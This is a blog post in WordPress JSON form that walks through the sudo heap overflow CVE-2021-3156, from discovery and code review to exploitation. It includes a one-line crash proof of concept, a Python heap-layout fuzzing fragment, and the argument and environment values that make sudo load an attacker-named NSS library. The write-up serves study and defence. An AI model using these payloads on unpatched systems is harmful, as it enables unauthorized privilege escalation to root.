{"id":1060,"date":"2021-04-23T18:43:41","date_gmt":"2021-04-23T10:43:41","guid":{"rendered":"https:\/\/byy3.com\/?p=1060"},"modified":"2021-04-23T18:44:30","modified_gmt":"2021-04-23T10:44:30","slug":"sudo-baron-samedit-cve-2021-3156","status":"publish","type":"post","link":"https:\/\/byy3.com\/?p=1060","title":{"rendered":"sudo &#8211; Baron Samedit CVE-2021-3156"},"content":{"rendered":"<div id=\"toc-wrap\" class=\"toc-wrap visible\">\n<div class=\"toc-title h4\">Table of contents<\/div>\n<ul class=\"toc\">\n<li class=\"toc-h2\"><a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/liveoverflow.com\/critical-sudo-vulnerability-walkthrough-cve-2021-3156\/#vulnerability-discovery\" rel=\"nofollow\" >Vulnerability Discovery<\/a><\/li>\n<li class=\"toc-h3\"><a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/liveoverflow.com\/critical-sudo-vulnerability-walkthrough-cve-2021-3156\/#fuzzing-sudo-with-afl\" rel=\"nofollow\" >Fuzzing sudo with afl<\/a><\/li>\n<li class=\"toc-h3\"><a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/liveoverflow.com\/critical-sudo-vulnerability-walkthrough-cve-2021-3156\/#code-review\" rel=\"nofollow\" >Code Review<\/a><\/li>\n<li class=\"toc-h2\"><a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/liveoverflow.com\/critical-sudo-vulnerability-walkthrough-cve-2021-3156\/#bug-analysis\" rel=\"nofollow\" >Bug Analysis<\/a><\/li>\n<li class=\"toc-h2\"><a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/liveoverflow.com\/critical-sudo-vulnerability-walkthrough-cve-2021-3156\/#exploitation\" rel=\"nofollow\" >Exploitation<\/a><\/li>\n<li class=\"toc-h2\"><a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/liveoverflow.com\/critical-sudo-vulnerability-walkthrough-cve-2021-3156\/#exploitable-on-macos\" rel=\"nofollow\" >Exploitable on macOS<\/a><\/li>\n<li class=\"toc-h2\"><a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/liveoverflow.com\/critical-sudo-vulnerability-walkthrough-cve-2021-3156\/#conclusion\" rel=\"nofollow\" >Conclusion<\/a><\/li>\n<\/ul>\n<\/div>\n<div id=\"post-content\" class=\"post-content\">\n<p>The most comprehensive video about the recent sudo vulnerability CVE-2021-3156. This video is giving a broad overview from discovery, analysis and exploitation. And it serves as the start for a new very in-depth video series.<\/p>\n<ul>\n<li><strong>Episode 1<\/strong>:\u00a0<em>Coming 29.04.2021<\/em><\/li>\n<li><strong>Episode 2<\/strong>: ...<\/li>\n<li><strong>Episode 3<\/strong>: ...<\/li>\n<li>...<\/li>\n<\/ul>\n<figure class=\"kg-card kg-embed-card\">\n<div class=\"js-reframe\"><iframe loading=\"lazy\" src=\"https:\/\/www.youtube.com\/embed\/TLa2VqcGGEQ?feature=oembed\" width=\"200\" height=\"113\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\" data-mce-fragment=\"1\"><\/iframe><\/div>\n<\/figure>\n<h2 id=\"vulnerability-discovery\">Vulnerability Discovery<\/h2>\n<p>How was the\u00a0<em>sudoedit\u00a0<\/em>vulnerability discovered? It was introduced almost 10 years before it was found, in commit\u00a0<a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/github.com\/sudo-project\/sudo\/commit\/8255ed69\" rel=\"nofollow\" >8255ed69<\/a>. Everybody who saw how simple the trigger is, was wondering why it wasn't found earlier. Shouldn't fuzzing find this very quickly?<\/p>\n<figure class=\"kg-card kg-code-card\">\n<div class=\"code-toolbar\">\n<pre class=\" language-bash\"><code class=\" language-bash\">user@ubuntu:~$ sudoedit -s 'AAAAAAAAAAAAAAA<span class=\"token punctuation\">\\<\/span>'\r\nmalloc<span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span>: memory corruption\r\nAborted <span class=\"token punctuation\">(<\/span>core dump<span class=\"token punctuation\">)<\/span>\r\nuser@ubuntu:~$<\/code><\/pre>\n<div class=\"toolbar\">\n<div class=\"toolbar-item\"><span class=\"language\">Bash<\/span><\/div>\n<div class=\"toolbar-item\"><button>COPY<\/button><\/div>\n<\/div>\n<\/div><figcaption>The proof of concept for CVE-2021-3156 is very simple<\/figcaption><\/figure>\n<h3 id=\"fuzzing-sudo-with-afl\">Fuzzing sudo with afl<\/h3>\n<p>When trying to setup fuzzing with\u00a0<a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/github.com\/AFLplusplus\/AFLplusplus\" rel=\"nofollow\" ><em>afl<\/em><\/a>, it becomes quickly apparent why it is actually not trivial to fuzz sudo's arguments. Milek7 documented a few challenges in this\u00a0<a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/milek7.pl\/howlongsudofuzz\/\" rel=\"nofollow\" >blog post<\/a>. To summarize the issues were:<\/p>\n<ol>\n<li><em>afl\u00a0<\/em>cannot fuzz program arguments. The target binary has to be instrumented, for example using the experimental\u00a0<a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/github.com\/AFLplusplus\/AFLplusplus\/blob\/stable\/utils\/argv_fuzzing\/argv-fuzz-inl.h\" rel=\"nofollow\" >argv-fuzz-inl.h<\/a><\/li>\n<li><em>sudo\u00a0<\/em>has different functionality when executed with program name\u00a0<em>sudoedit.\u00a0<\/em>But it doesn't use\u00a0<em>argv[0]<\/em>\u00a0. Thus one has to patch the\u00a0<a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/github.com\/AFLplusplus\/AFLplusplus\" rel=\"nofollow\" >progname.c<\/a>\u00a0utility.<\/li>\n<li>You have to keep in mind, that sudo is a special program that exhibits different functionality when executed as root or an unpriviledged user. Depending on the fuzzing setup, this has to be considered. For example by hardcoding the\u00a0<a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/github.com\/sudo-project\/sudo\/blob\/SUDO_1_8_31p1\/src\/sudo.c#L525\" rel=\"nofollow\" >get<em>uid<\/em>\u00a0values to 1000<\/a>.<\/li>\n<\/ol>\n<h3 id=\"code-review\">Code Review<\/h3>\n<p>The Qualys researchers have shared in an\u00a0<a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/youtu.be\/9xamsUrRmpM?t=216\" rel=\"nofollow\" >interview with Paul's Security Weekly<\/a>\u00a0that they found the vulnerability through code review. In an email asking them about their process, they shared the following insight:<\/p>\n<blockquote><p>When we audit code, we completely open our mind: anything that differs from the program's or programmer's expectations is interesting, or may become interesting at some point; i.e., any kind of bugs and weirdness.<\/p><\/blockquote>\n<p>And going into more detail about the actual discovery of the vulnerability.<\/p>\n<blockquote><p>a\/ noticing that the loop in set_cmnd() may increment a pointer out of bounds;<br \/>\nb\/ realizing that this should be impossible, because of parse_args()'sescaping;<br \/>\nc\/ looking for ways to bypass this escaping and discovering the sudoedit trick.<\/p><\/blockquote>\n<p>Knowing this, it almost becomes trivial to find the bug. See the\u00a0<a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/github.com\/sudo-project\/sudo\/blob\/SUDO_1_8_31p1\/plugins\/sudoers\/sudoers.c#L852\" rel=\"nofollow\" ><code>set_cmnd()<\/code><\/a>\u00a0function below. This function is vulnerable to a buffer overflow, if looked at in isolation. At first a loop goes through all the strings in the\u00a0<code>NewArgv<\/code><em>\u00a0<\/em>array and sums up their length, which results in the allocation of a target buffer of that size.<\/p>\n<figure class=\"kg-card kg-code-card\">\n<div class=\"code-toolbar\">\n<pre class=\" language-c\"><code class=\" language-c\">\/\/ calculate the size of the target buffer\r\nfor (size = 0, av = NewArgv + 1; *av; av++)\r\n size += strlen(*av) + 1;\r\n \r\nif (size == 0 || (user_args = malloc(size)) == NULL) {\r\n sudo_warnx(U_(\"%s: %s\"), __func__, U_(\"unable to allocate memory\"));\r\n debug_return_int(-1);\r\n}<\/code><\/pre>\n<div class=\"toolbar\">\n<div class=\"toolbar-item\"><span class=\"language\">C<\/span><\/div>\n<div class=\"toolbar-item\"><button>COPY<\/button><\/div>\n<\/div>\n<\/div><figcaption>excerpt from set_cmnd()<\/figcaption><\/figure>\n<p>Right after this comes a loop which will copy the strings character by character into the target buffer\u00a0<code>user_args<\/code>. If it encounters a backslash, then it will skip the backslash, copy the next character for sure and continue. Thus it is possible to copy a string out of bounds, if a backslash is located before the terminating null-byte.<\/p>\n<p>Example string:\u00a0<code>\"AAAAAAA\\\"<\/code><\/p>\n<figure class=\"kg-card kg-code-card\">\n<div class=\"code-toolbar\">\n<pre class=\" language-c\"><code class=\" language-c\">if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {\r\n for (to = user_args, av = NewArgv + 1; (from = *av); av++) {\r\n while (*from) {\r\n if (from[0] == '\\\\' &amp;&amp; !isspace((unsigned char)from[1]))\r\n from++;\r\n *to++ = *from++; \/\/ copy character by character\r\n }\r\n *to++ = ' ';\r\n }\r\n *--to = '\\0';<\/code><\/pre>\n<div class=\"toolbar\">\n<div class=\"toolbar-item\"><span class=\"language\">C<\/span><\/div>\n<div class=\"toolbar-item\"><button>COPY<\/button><\/div>\n<\/div>\n<\/div><figcaption>.\u00a0<\/figcaption><\/figure>\n<p>So the code above seems unsafe, but only if looked at in isolation. It turns out the data is first going through an escape loop in\u00a0<em><a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/github.com\/sudo-project\/sudo\/blob\/SUDO_1_8_31p1\/src\/parse_args.c#L591\" rel=\"nofollow\" >parse_args.c<\/a><\/em>. Where it is adding additional backslashes, which means input with a single backslash at the end, would actually be properly escaped with a second backslash\u00a0<code>\"AAAAAAA\\\\\"<\/code>\u00a0making the loop in\u00a0<code>set_cmnd()<\/code>\u00a0safe.<\/p>\n<figure class=\"kg-card kg-code-card\">\n<div class=\"code-toolbar\">\n<pre class=\" language-c\"><code class=\" language-c\">if (ISSET(mode, MODE_RUN) &amp;&amp; ISSET(flags, MODE_SHELL)) {\r\n\t char **av, *cmnd = NULL;\r\n\t int ac = 1;\r\n\r\n \/\/ [...]\r\n \r\n\t for (av = argv; *av != NULL; av++) {\r\n\t\t for (src = *av; *src != '\\0'; src++) {\r\n \/* quote potential meta characters *\/\r\n if (!isalnum((unsigned char)*src) &amp;&amp; *src != '_' &amp;&amp; *src != '-' &amp;&amp; *src != '$')\r\n *dst++ = '\\\\';\r\n *dst++ = *src;\r\n\t\t }\r\n\t\t *dst++ = ' ';\r\n\t }<\/code><\/pre>\n<div class=\"toolbar\">\n<div class=\"toolbar-item\"><span class=\"language\">C<\/span><\/div>\n<div class=\"toolbar-item\"><button>COPY<\/button><\/div>\n<\/div>\n<\/div><figcaption>excerpt from parse_args<\/figcaption><\/figure>\n<p>However the Qualys researchers looked more closely at the conditions when either loop is invoked. And\u00a0<em>sudo<\/em>\u00a0has tons of different modes that can be set through the arguments. And when comparing the modes of the if-conditions preceeding the two loops, one can notice that they differ. So the question is, is there a way to put\u00a0<em>sudo<\/em>\u00a0in a mode, where the\u00a0<code>set_cmnd()<\/code>\u00a0loop runs, but it doesn't go through the escape loop in\u00a0<code>parse_args<\/code>\u00a0first?<\/p>\n<p>And yes, this happens when invoking\u00a0<code>sudoedit -s ...<\/code>.<\/p>\n<h2 id=\"bug-analysis\">Bug Analysis<\/h2>\n<p>The vulnerability is clear, there is a heap buffer overflow that allows you to overwrite any object coming after your vulnerable\u00a0<code>user_args<\/code>\u00a0in memory. The question is now<\/p>\n<blockquote><p>What can be overwritten for an exploit?<\/p><\/blockquote>\n<p>This requires a bit of creativity, but essentially I came up with the same technique to figure out the solution. One can first analyze what inputs the user controls that influences heap allocations. Then a bruteforce script can be developed that fuzzes different heap layouts and logging where\u00a0<em>sudo<\/em>\u00a0crashes.<\/p>\n<p>For example the image blow shows how a different size environment variable\u00a0<code>LC_CTYPE=AAA<\/code>\u00a0vs.\u00a0<code>LC_CTYPE=AAAAAA<\/code>\u00a0influences how objects are being allocated in the fragmented heap. Leading to different objects coming after the vulnerable buffer\u00a0<code>user_args<\/code>.<\/p>\n<figure class=\"kg-card kg-image-card kg-card-hascaption\"><img decoding=\"async\" class=\"kg-image medium-zoom-image\" data-original=\"https:\/\/liveoverflow.com\/content\/images\/2021\/04\/pwnedit_fengshui.gif\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"sudo &#8211; Baron Samedit CVE-2021-3156\u63d2\u56fe\" alt=\"sudo &#8211; Baron Samedit CVE-2021-3156\u63d2\u56fe\" \/><figcaption>.How controlling the size of an object influences the heap layout.<\/figcaption><\/figure>\n<p>Using a script it's possible to fuzz many different inputs and collect backtraces where they crash.<\/p>\n<pre><code>SIZES = [i for i in range(0,0xfff)] + [2**i for i in range(0,16)] + [i+4 for i in range(0,0xff)] + [(2**i)+4 for i in range(0,16)]\r\n\r\nenv = [\r\n \"LC_CTYPE=\" + \"Y\"*random.choice(SIZES)\r\n \"X\" * random.choice(SIZES), #252\r\n \"M\"*random.choice(SIZES) + \"=\" + \"V\"*random.choice(SIZES), #854,2299\r\n \"LC_ALL=\" + \"N\"*random.choice(SIZES), #3981\r\n \"PWD=\/pwd\",\r\n \"TZ=\" + \"O\"*random.choice(SIZES) #3090\r\n]\r\n\r\narg = [ \"F\"*random.choice(SIZES)+\"\\\\\" ]\r\n\r\n# run sudo with the random argument and environment variables<\/code><\/pre>\n<p>Here is a small selection of backtraces collapsed into a single line. These are all different locations where\u00a0<em>sudo<\/em>\u00a0crashed after the overflow was triggered.<\/p>\n<pre><code>get_user_info main\r\nnss_parse_service_list nss_getline __GI___nss_passwd_lookup2 __getpwuid_r getpwuid get_user_info main\r\nset_binding_values set_binding_values main\r\nsudoersparse sudo_file_parse sudoers_policy_init sudoers_policy_open policy_open\r\nsudoers_policy_main sudoers_policy_check policy_check\r\nsudo_lbuf_expand sudo_lbuf_append_v1 sudoers_trace_print sudoerslex sudoersparse sudo_file_parse sudoers_policy_init sudoers_policy_open policy_open\r\n__GI___strdup sudo_load_plugins main\r\n__GI___tsearch __GI___nss_lookup_function __GI___nss_lookup __GI___nss_passwd_lookup2 __getpwuid_r getpwuid get_user_info main<\/code><\/pre>\n<p>When looking through the crash locations, one particular function is very interesting.\u00a0<code>nss_lookup_function()<\/code>\u00a0sounds very juicy as we might be able to overflow a value that controls what function is looked up and executed. And it turns out, that there is an object called\u00a0<code>service_user<\/code>, which is used by\u00a0<code>nss_lookup_function()<\/code>\u00a0calling\u00a0<a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/elixir.bootlin.com\/glibc\/glibc-2.16-ports-merge\/source\/nss\/nsswitch.c#L354\" rel=\"nofollow\" ><code>nss_load_library()<\/code>\u00a0which will then call\u00a0<code>dlopen<\/code><\/a>\u00a0that loads an external library. Specifically overflowing the\u00a0<em>name\u00a0<\/em>of the object will control the name of the shared library being loaded.<\/p>\n<div class=\"code-toolbar\">\n<pre class=\" language-c\"><code class=\" language-c\">typedef struct service_user\r\n{\r\n \/* And the link to the next entry. *\/\r\n struct service_user *next;\r\n \/* Action according to result. *\/\r\n lookup_actions actions[5];\r\n \/* Link to the underlying library object. *\/\r\n service_library *library;\r\n \/* Collection of known functions. *\/\r\n void *known;\r\n \/* Name of the service (`files', `dns', `nis', ...). *\/\r\n char name[0];\r\n} service_user;<\/code><\/pre>\n<div class=\"toolbar\">\n<div class=\"toolbar-item\"><span class=\"language\">C<\/span><\/div>\n<div class=\"toolbar-item\"><button>COPY<\/button><\/div>\n<\/div>\n<\/div>\n<h2 id=\"exploitation\">Exploitation<\/h2>\n<p>Through the fuzzing of inputs and looking at the backtraces, it is possible to find the perfect condition that creates the ideal heap layout as shown in the heap fragmentation animation. On my system the following values for environment variables perfectly overflow the\u00a0<em>name<\/em>\u00a0of the\u00a0<code>service_user<\/code>\u00a0object, that results in loading the shared library in\u00a0<code>.\/libnss_DDD\\DDDD.so<\/code>.<\/p>\n<div class=\"code-toolbar\">\n<pre class=\" language-python\"><code class=\" language-python\">arg = [\r\n \"F\"*40+\"\\\\\",\r\n]\r\nenv = [\r\n \"LC_CTYPE=\" + \"Y\"*510 + NEXT + \"W\"*24 + \r\n \"\\\\\", \"\\\\\", \"\\\\\", \"\\\\\", \"\\\\\", \"\\\\\", \"\\\\\", \"\\\\\",\r\n \"\\\\\", \"\\\\\", \"\\\\\", \"\\\\\", \"\\\\\", \"\\\\\", \"\\\\\", \"\\\\\",\r\n \"DDD\\DDDD\" + \"\\\\\", # loading libnss_DDD\\DDDD.so\r\n \"X\"*252,\r\n \"M\"*854 + \"=\" + \"V\"*2299\r\n \"LC_ALL=\" + \"N\"*3981\r\n \"PWD=\/pwd\",\r\n \"TZ=\" + \"O\"*3090\r\n ]<\/code><\/pre>\n<div class=\"toolbar\">\n<div class=\"toolbar-item\"><span class=\"language\">Python<\/span><\/div>\n<div class=\"toolbar-item\"><button>COPY<\/button><\/div>\n<\/div>\n<\/div>\n<h2 id=\"exploitable-on-macos\">Exploitable on macOS<\/h2>\n<p>I did a brief feasibility check on macOS by implementing a similar input bruteforce using\u00a0<em>lldb<\/em>. However the heap seems to be a lot more randomized. On the screenshot you can see two times invoking\u00a0<em>sudoedit\u00a0<\/em>with the same payload, but one time it crashes, and one time it doesn't.<\/p>\n<figure class=\"kg-card kg-image-card kg-card-hascaption\"><img decoding=\"async\" class=\"kg-image medium-zoom-image\" data-original=\"https:\/\/liveoverflow.com\/content\/images\/2021\/04\/image-25.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" sizes=\"(min-width: 720px) 720px\" srcset=\"https:\/\/liveoverflow.com\/content\/images\/size\/w600\/2021\/04\/image-25.png 600w, https:\/\/liveoverflow.com\/content\/images\/2021\/04\/image-25.png 931w\" title=\"sudo &#8211; Baron Samedit CVE-2021-3156\u63d2\u56fe1\" alt=\"sudo &#8211; Baron Samedit CVE-2021-3156\u63d2\u56fe1\" \/><figcaption>Exploit feasibility on macOS?<\/figcaption><\/figure>\n<p>Also looking at the functions where it crashes, they seem a lot less useful than what was hit on a Linux system. I wouldn't say it's not exploitable, history always showed us there is always a crazy person being able to exploit it. But it does seem a lot harder.<\/p>\n<h2 id=\"conclusion\">Conclusion<\/h2>\n<p>This was a very brief overview of the discovery, analysis and exploitation of the bug. You can watch the\u00a0<a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/www.youtube.com\/watch?v=TLa2VqcGGEQ\" rel=\"nofollow\" >video<\/a>\u00a0for a few more details on the whole research. This video is also the start of a\u00a0<a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/liveoverflow.com\/topic\/sudo-vulnerability\/\" rel=\"nofollow\" >complete series<\/a>\u00a0that goes a lot more into detail. So if this article was too high-level, just wait for the upcoming episodes.<\/p>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>Table of contents Vulnerability Discovery Fuzzing sudo [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[622,623,608,607,528],"class_list":["post-1060","post","type-post","status-publish","format-standard","hentry","category-net-security","tag-sudo","tag-sudoedit","tag-vuln","tag-vulnerable","tag-528"],"_links":{"self":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts\/1060","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1060"}],"version-history":[{"count":0,"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts\/1060\/revisions"}],"wp:attachment":[{"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1060"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1060"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1060"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}